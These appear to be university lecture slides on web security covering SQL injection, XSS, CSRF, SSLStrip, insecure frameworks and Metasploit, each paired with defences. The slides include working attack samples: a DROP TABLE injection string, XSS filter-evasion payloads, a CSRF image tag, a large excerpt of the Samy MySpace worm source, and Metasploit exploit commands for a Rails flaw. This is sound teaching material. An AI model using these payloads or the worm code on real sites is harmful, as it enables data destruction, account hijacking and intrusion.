ELEC5616 COMPUTER & NETWORK SECURITY

Lecture 19:

Web Security

THE WEB IS A PARADISE FOR HACKERS

Web sites are complex interactions of:

- many languages (Javascript, SQL, Python, PHP, Ruby, ...)
- many in-band mark-up languages (HTML, CSS)
- many third parties (Google Analytics, Facebook, Paypal, your VPS provider)
- many protocols (HTTP, HTTPS, JSON, XML, DNS)

These machines are accessible from all over the world at any time of day and night. If they're down, they're rushed back online, security be damned.

These web sites are built upon common frameworks and common tools.

Neither machines nor the frameworks are necessarily kept up to date.

A vulnerability in any one of these can lead to the failure of all the security

SOURCES OF VULNERABILITIES

There are too many topics to cover exhaustively, so we’ll focus on a core few.

SQL Injection

XSS Attackx

CSRF Attack

HTTP to HTTPS bridge (SSLStrip)

Insecure Frameworks and Old Code

Insecure Machines

IN-BAND SIGNALLING

In-band signalling is where content is mixed with control signals.

Phreaking:
Free long distance phone calls by sending a control signal over the voice channel of a phone, specifically a specific frequency tone.
(see: Captain Crunch and the 2600 Hz toy whistle)

Any system where unsanitised user input may result in “control signals”:

- **HTML**
- **Javascript**
- **XSS**
- **SQL Injection**

SQL INJECTION (SQLI)

users.php?username=**Bob**

c.execute(‘SELECT * FROM users WHERE username = “*%s*”’ % username)

SELECT * FROM users WHERE username = “**Bob**”;

users.php?username=**Bob”; DROP TABLE users; SELECT “lol**

c.execute(‘SELECT * FROM users WHERE username = “*%s*”’ % username)

SELECT * FROM users WHERE id = **“Bob”; DROP TABLE users; SELECT “lol**”

SELECT * FROM users WHERE id = **“Bob”;**

DROP TABLE users;

SELECT “lol”

PREVENTING SQLI

Essentially every languages have a proper database query classes
These classes know about the types and how to escape them

BAD Python

c.execute(‘SELECT * FROM users WHERE username = “*%s*”’ % username)

GOOD Python

c.execute('SELECT * FROM users WHERE username = ?', username)

SELECT * FROM users WHERE id = **“Bob\”; DROP TABLE users; SELECT \“lol**”

(where \” indicates escaping to tell the database it’s part of the string)

REAL WORLD IMPACT OF SQLI

Real world applications experience an average of 71 SQLI attempts per hour (there exist many automated SQLI detection and exploit tools)

Very common in PHP and ASP applications due to prevalence of direct database commands

Successful exploit can lead to:

- Reading and leaking sensitive data
- Modifying sensitive data (Insert / Update / Delete)
- Executing administration operations on the database (shutdown, DROP)
- Reading files off the database system’s hard drive

Vast majority of data leaks and breaches involve SQLI

Common vulnerability, tools to automate the search, devastating impact

NOSQL MEANS NO SQL INJECTIONS... RIGHT?

Standard SQL injection techniques won't work...
Mind you, standard SQL injection attacks don't work across SQL databases.

MongoDB has injection attacks and variations upon the concept:

- If you enter queries using concatenated Javascript it's quite similar to SQLI
- Read about Server-Side Javascript Injections (SSJI)

Other general issues including no or discouraged authentication by default:
MongoDB: "run database in a trusted environment with no security or auth"
Cassandra: "The default AllowAllAuthenticator is essentially pass through"
CouchDB: "The Admin Party: Everyone can do everything by default"
Riak: "No authentication or authorization support"

(see Adobe's "*NoSQL, But Even Less Security*")

CROSS SITE SCRIPTING (XSS) ATTACKS

Attackers inject client-side JS into web pages viewed by other users.

Imagine I run Reddit and allow users to share interesting links with others

If I enter www.google.com the link looks like

```
<a href=“www.google.com”>My Link</a>
```

If I enter javascript:alert(‘haxxor’) then the link looks like

```
<a href=“javascript:alert(‘haxxor’)”>My Link</a>
```

Whenever someone clicks the second link, they run arbitrary Javascript

CROSS SITE SCRIPTING (XSS) ATTACKS

Non-persistent

Not stored permanently, usually tied to the specific URL query

Non-persistent Example:

www.google.com/search?q=<script>alert('meow')</script>

Only useful if you can convince someone to click a link

Persistent

Exploit script from the attacker is saved by the server and given to other users

Persistent Example:

Online forum where a user's name is known but never posted publicly

Attacker leaves the XSS attack in a post hidden from others

sendMessage("bob", "Hi Bob, it's me, " + $(".fullname").text());

Every subsequent viewer of the forum will be exposed to the vulnerability.

PROTECTING AGAINST XSS

Templating engines need to escape / sanitize user input by default

Do not write it yourself – the number of potential XSS exploits is staggering

General Rules:

- Thought needs to go in to every single use of user supplied input
- Don’t trust anyone or anything, even trusted input is not to be trusted
- Essentially, be incredibly paranoid, as everyone likely is out to get you...

XSS IS ALL SORTS OF HELL

Browsers accept strange encodings in strange places.
They're used to trying to make broken and malformed input work.

```
<IMG SRC="jav ascript:alert('XSS');">
<IMG
SRC=&#x6A&#x61&#x76&#x61&#x73&#x63&#x72&#x69&#x70&#x74&#x3A&#x61&#
x6C&#x65&#x72&#x74&#x28&#x27&#x58&#x53&#x53&#x27&#x29>
```

```
<META HTTP-EQUIV="refresh" CONTENT="0;url=data:text/html
base64,PHNjcmlwdD5hbGVydCgnWFNTJyk8L3NjcmlwdD4K">
```
is equivalent to
```
<META HTTP-EQUIV="refresh" CONTENT="0;url=javascript:alert('XSS');">
```

Random excerpts from OWASP's XSS Filter Evasion Cheat Sheet

XSS EXAMPLE: SAMY IS MY HERO

First XSS worm ever developed and spread far across Myspace

Upon a user viewing an infected profile with the XSS worm in it:
- The XSS worm automatically made a friend request to the author of the worm
- The XSS worm would add “Samy is my hero” to their profile
- The XSS worm would infect their profile page to continue the attack

One hour later, one friend request. Seven hours, 221 friend requests.
An hour after that, 480 friend requests.
Quote: “Oh wait, it's exponential, isn't it. Shit.”

He wants to bail but there’s no way to prevent this.
Deletion of his account takes 24 hours and even that wouldn’t stop the worm.

In less than 20 hours, he had over 1 million friend requests, or 1/35th of Myspace

XSS EXAMPLE: SAMY IS MY HERO

```
<div id=mycode style="BACKGROUND: url('java
script:eval(document.all.mycode.expr)')" expr="var B=String.fromCharCode(34);var A=String.fromCharCode(39);function g(){var C;try{
var D=document.body.createTextRange();C=D.htmlText}catch(e){}if(C){return C}else{return eval('document.body.inne'+'rHTML')}}functi
on getData(AU){M=getFromURL(AU,'friendID');L=getFromURL(AU,'Mytoken')}function getQueryParams(){var E=document.location.search;var
 F=E.substring(1,E.length).split('&');var AS=new Array();for(var O=0;O<F.length;O++){var I=F[O].split('=');AS[I[0]]=I[1]}return AS
}var J;var AS=getQueryParams();var L=AS['Mytoken'];var M=AS['friendID'];if(location.hostname=='profile.myspace.com'){document.loca
tion='http://www.myspace.com'+location.pathname+location.search}else{if(!M){getData(g())}main()}function getClientFID(){return fin
dIn(g(),'up_launchIC( '+A,A)}function nothing(){}function paramsToString(AV){var N=new String();var O=0;for(var P in AV){if(O>0){N
+='&'}var Q=escape(AV[P]);while(Q.indexOf('+')!=-1){Q=Q.replace('+','%2B')}while(Q.indexOf('&')!=-1){Q=Q.replace('&','%26')}N+=P+'
='+Q;O++}return N}function httpSend(BH,BI,BJ,BK){if(!J){return false}eval('J.onr'+'eadystatechange=BI');J.open(BJ,BH,true);if(BJ==
'POST'){J.setRequestHeader('Content-Type','application/x-www-form-urlencoded');J.setRequestHeader('Content-Length',BK.length)}J.se
nd(BK);return true}function findIn(BF,BB,BC){var R=BF.indexOf(BB)+BB.length;var S=BF.substring(R,R+1024);return S.substring(0,S.in
dexOf(BC))}function getHiddenParameter(BF,BG){return findIn(BF,'name='+B+BG+B+' value='+B,B)}function getFromURL(BF,BG){var T;if(B
G=='Mytoken'){T=B}else{T='&'}var U=BG+'=';var V=BF.indexOf(U)+U.length;var W=BF.substring(V,V+1024);var X=W.indexOf(T);var Y=W.sub
string(0,X);return Y}function getXMLObj(){var Z=false;if(window.XMLHttpRequest){try{Z=new XMLHttpRequest()}catch(e){Z=false}}else
if(window.ActiveXObject){try{Z=new ActiveXObject('Msxml2.XMLHTTP')}catch(e){try{Z=new ActiveXObject('Microsoft.XMLHTTP')}catch(e){
Z=false}}}return Z}var AA=g();var AB=AA.indexOf('m'+'ycode');var AC=AA.substring(AB,AB+4096);var AD=AC.indexOf('D'+'IV');var AE=AC
.substring(0,AD);var AF;if(AE){AE=AE.replace('jav'+'a',A+'jav'+'a');AE=AE.replace('exp'+'r)','exp'+'r)'+A);AF=' but most of all, s
amy is my hero. <d'+'iv id='+AE+'D'+'IV>'}var AG;function getHome(){if(J.readyState!=4){return}var AU=J.responseText;AG=findIn(AU,
'P'+'rofileHeroes','</td>');AG=AG.substring(61,AG.length);if(AG.indexOf('samy')==-1){if(AF){AG+=AF;var AR=getFromURL(AU,'Mytoken')
;var AS=new Array();AS['interestLabel']='heroes';AS['submit']='Preview';AS['interest']=AG;J=getXMLObj();httpSend('/index.cfm?fusea
ction=profile.previewInterests&Mytoken='+AR,postHero,'POST',paramsToString(AS))}}}function postHero(){if(J.readyState!=4){return}v
ar AU=J.responseText;var AR=getFromURL(AU,'Mytoken');var AS=new Array();AS['interestLabel']='heroes';AS['submit']='Submit';AS['int
erest']=AG;AS['hash']=getHiddenParameter(AU,'hash');httpSend('/index.cfm?fuseaction=profile.processInterests&Mytoken='+AR,nothing,
'POST',paramsToString(AS))}function main(){var AN=getClientFID();var BH='/index.cfm?fuseaction=user.viewProfile&friendID='+AN+'&My
token='+L;J=getXMLObj();httpSend(BH,getHome,'GET');xmlhttp2=getXMLObj();httpSend2('/index.cfm?fuseaction=invite.addfriend_verify&f
```

XSS EXAMPLE: SAMY IS MY HERO

I highly recommend reading his blog post where he live blogged the disaster
http://namb.la/popular/
He also describes the creation of the worm: each and every step of the XSS
http://namb.la/popular/tech.html

He was raided by the United States Secret Service in 2006 and was sentenced to three years probation without computer use, 90 days community service and an undefined amount of restitution.

Samy has gone on to be a whitehat for consumers, including

- Demonstrating Evercookie and exposed KISSmetrics and Hulu using these techniques, leading to a class action lawsuit (KISSmetrics settled for $500k)
- showing illegal location tracking on iPhone, Android and Windows Phone

TANGENT: CHRIS PUTNAM AND FACEBOOK

Chris Putnam was joking with friends by writing silly exploits for Facebook (i.e. one exploit reworked Facebook into an exact lookalike of Myspace)

After a spate of infections, COO of Facebook sends Chris Putnam a message:
“Hey, this was funny but it looks like you are deleting contact information from users' profiles when you go to replicate the worm again. That's not so cool.”

After helping patch the holes, Facebook offers him a job.
Except that Samy was recently arrested under very similar circumstances...

Eventually he threw caution to the wind and they hired him.

CROSS SITE REQUEST FORGERY (CSRF) ATTACKS

Imagine Youtube.com allowed you to like a video by visiting this link:

www.youtube.com/like?v=Qmr23196

I want many likes so I want this link to be triggered.

Visit a popular web page, say Reddit, and post this on a popular page:

<img src=“www.youtube.com/like?v=Qmr23196” />

When a viewer of Reddit sees the post/comment, the image won’t load,

But they *will* end up liking the video

More complex versions of this can also work on GET and POST

PREVENTING CSRF

Each user should be given a CSRF token that’s only available either in that page’s HTML or in the web page’s cookie

The cookie can only be read by the web browser when it’s on their website (i.e. The YouTube cookie can only be read by Javascript on Youtube.com)

The third party site can’t retrieve the CSRF token from the web page or cookie

For every request, you need to send the CSRF token, which is then checked by the server to ensure it’s valid.

THIRD PARTIES

Many web pages load up external Javascript:

- Google ads
- Google Analytics
- Facebook login / share buttons
- Tweet buttons
- Any Javascript include or JSONP request

These give them information about where you travel on the web (especially *Facebook* and *Google*)

These all inject arbitrary *unknown* Javascript onto your web page

If there’s something valuable on your site, then it can be sent elsewhere

THE HTTP TO HTTPS BRIDGE

How many of you type in gmail.com / facebook.com?

How many of you type in www.gmail.com / www.facebook.com?

Do any of you type in other variations?

THE HTTP TO HTTPS BRIDGE

Almost everyone types in **facebook.com** without the HTTPS

How do you end up at https://www.facebook.com?
The server tells you...

This is the **HTTP to HTTPS bridge** and it’s terrifically vulnerable...

Where are the on ramps to the HTTPS bridge?
- 302 redirect from http://facebook.com to http**s**://facebook.com
- The user clicks on an important link (shopping, checkout, payment, ...) and is directed to the equivalent of https://www.facebook.com/payment

If the server doesn’t tell you to go to HTTPS, you won’t.

Horrifying truth: HTTPS only works if the user explicitly types in HTTPS
(This is now mitigated by the HSTS header however)

SSLSTRIP

SSLStrip is a man-in-the-middle attack on SSL but requires *no certificates*

All traffic goes through SSLStrip, even if it's encrypted.

- If it's encrypted using SSL, just forward it through untouched
- When we see a redirect from the server to a https:// resource we send the user an equivalent http:// address that we keep track of
- When we find any https:// link on a web page, we keep track of it and rename it to an equivalent http:// address
  (when the user clicks it, the MitM will send an appropriate HTTPS request)

The server sees absolutely normal HTTPS traffic

The user sees nothing wrong with their normal experience
Even if the user types in HTTPS most of the time we can either

- Wait for them to slip up once
- Wait for or encourage them to click on a http:// link to the target website

DEFENDING AGAINST SSLSTRIP

Not much…

Possibly run SSLStrip locally to warn the user when they do something stupid
(but would you really listen to it after a while with so many false positives..?)

Have the browser check HTTPS by default and only then fall back to HTTP
(but a man-in-the-middle could just block the HTTPS connection)

Use Javascript to check if the current URL is HTTPS and freak out if not
(No existing tool can rewrite JS to avoid this by default by if I was after a particular target [such as Gmail] I could create a patched version of their JS)

The server sets the HSTS header to tell the browsxer to *always* use HTTPS.

INSECURE FRAMEWORKS AND OLD CODE

Numerous code frameworks and content management systems have a scary history with security. They’re vulnerable even if kept perfectly up to date.

If they’re even a version or two behind, you’re done.

Even when an issue is discovered, it can take extreme action before people even admit that it might be a problem.

Egor Homakov pointed out a vulnerability due to an insecure default setting in Ruby on Rails (RoR), a very popular web framework. RoR developers replied:

“We know about this vulnerability. If the coder is competent, then this vulnerability won’t exist. We’re not changing the default.”

Homakov responded by saying competent developers still made this mistake.

Debate raged until Homakov got impatient and took control of the Rails account on GitHub to prove his point...

INSECURE FRAMEWORKS AND OLD CODE

These bugs build up over time leaving a back catalogue of potential exploits for your machine.

Ruby on Rails Security Vulnerability List

Wordpress Security Vulnerability List

Even if most websites on the Internet update their software regularly
(*they don't*)

and only a small portion of them run exploitable versions of software
(*more than a small portion*)

and even if it took a long time to scan for the systems
(*it doesn't*)
then black hats can still exploit an innumerable number of websites.

METASPLOIT

The Metasploit Project is a computer security project which provides information about security vulnerabilities and aids in penetration testing and IDS signature development.

To put it simply:

- A library of past vulnerabilities
- Tools to assist in scanning machines for potential vulnerabilities
- Tools to assist in exploiting machines that have been found vulnerable
- Tools to assist you in writing and documenting new exploits

METASPLOIT

Full example of scanning for the GitHub vulnerability...

```
msf > use auxiliary/scanner/http/rails_mass_assignment
msf auxiliary(rails_mass_assignment) > set RHOSTS [TARGET HOST RANGE]
msf auxiliary(rails_mass_assignment) > run
```

Second RoR vulnerability that includes a working exploit...

```
msf> use auxiliary/scanner/http/rails_xml_yaml_scanner
...
[*] Scanned 036 of 256 hosts (014% complete)
[*] Scanned 133 of 256 hosts (051% complete)
[+] 192.168.0.4:80 is likely vulnerable due to a 500 reply for invalid YAML
[*] Scanned 148 of 256 hosts (057% complete)
...
msf> use exploit/multi/http/rails_xml_yaml_code_exec
```

INSECURE MACHINES

You have computers.
You have routers.
You have printers.
You have iPads.
You have Androids.

All of these are likely on your internal network.
A compromise in any one of these machines could lead to the end.

Recent attacks on both Facebook and Google focused on compromising a single employee's workstation. From there they exploited the rest of the system.

Egg shell security: all the work goes into making it hard to get in.

EXAMPLE ATTACK: ONE BREAK MEANS MANY

Any single vulnerability likely leads to knock-on security issues.

If you acquire the DNS of a given website you can:

- Redirect the site to anywhere you want (porn, scam, warez, ...)
- Take control of any emails at the given domain
    - Obtain an SSL certificate for man-in-the-middle attacks (root@domain)
    - Read any of the email sent to their addresses
    - Reset passwords for any of their web services that use those emails
        - I.e. Obtain access to their accounts on Linode/EC2 to get access to HD/database backups and even the machines themselves via SSH
- Use a proxy to record all the web traffic going to and from those servers
    - Using the SSL certificate from above you can even maintain SSL connections
    - If you're lazy, you can literally set up SSLStrip and you're done

POOR PROGRAMMING PRACTICE

You might say all of this is caused by poor programming practice.
Whilst many of it is, the truth is far scarier.

Web development relies on an enormous number of moving components.

The system is so complex that even the best developers get caught out.

The people who look to exploit you have:

- Thousands of different possible vulnerabilities (from OS to DNS to JS)
- Thousands of single character/line mistakes that can lead to zero security
- Access and knowledge of all the systems and tools your program uses
- Most disturbingly, many of the attackers do this *for fun* and are stunningly successful. If you meet someone with an actual financial incentive...

WORST CASE: 0-DAY

A zero-day (0-day) attack is an attack that exploits a previously unknown vulnerability in a computer application.

Never. Seen. Before.

If your enemy really wants you gone, they can ***purchase*** these.
Selling them isn't explicitly illegal in most countries.

- Google China hacking incident used an Inter Explorer 0-day exploit
- Stuxnet (worm aimed at Iran nuclear facilities) had multiple 0-day exploits
- Facebook purchased a 0-day exploit to test their own security response

...shortly followed by...

- Facebook computers compromised by zero-day Java exploit

STILL INTERESTED?

http://www.reddit.com/r/netsec/
http://www.reddit.com/r/xss

http://www.breaksec.com
How I Changed Your Facebook Password, CSRF PoC Video
How I Hacked Instagram Accounts
Stored XSS In Facebook Chat, Check In, Facebook Messenger
The Unfix Bug in Facebook OAuth
How I Hacked Any Facebook Account…Again!
How I Hacked Facebook OAuth To Get Full Permission On Any Facebook Account (Without App “Allow” Interaction)
How I Hacked Facebook Employees Secure Files Transfer service (http://files.fb.com)
Another Stored XSS in Facebook.com